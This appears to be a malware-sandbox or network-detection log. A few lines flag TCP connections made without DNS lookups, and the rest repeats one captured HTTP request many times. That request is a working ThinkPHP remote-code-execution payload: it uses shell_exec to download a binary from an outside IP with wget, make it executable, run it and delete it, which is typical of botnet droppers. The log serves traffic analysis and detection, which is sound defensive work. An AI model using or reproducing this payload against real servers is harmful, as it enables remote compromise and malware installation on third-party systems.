Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.59.182
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.234.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.54.242
Source: unknown	TCP traffic detected without corresponding DNS query: 197.24.182.85
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.137.102
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.196.234

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
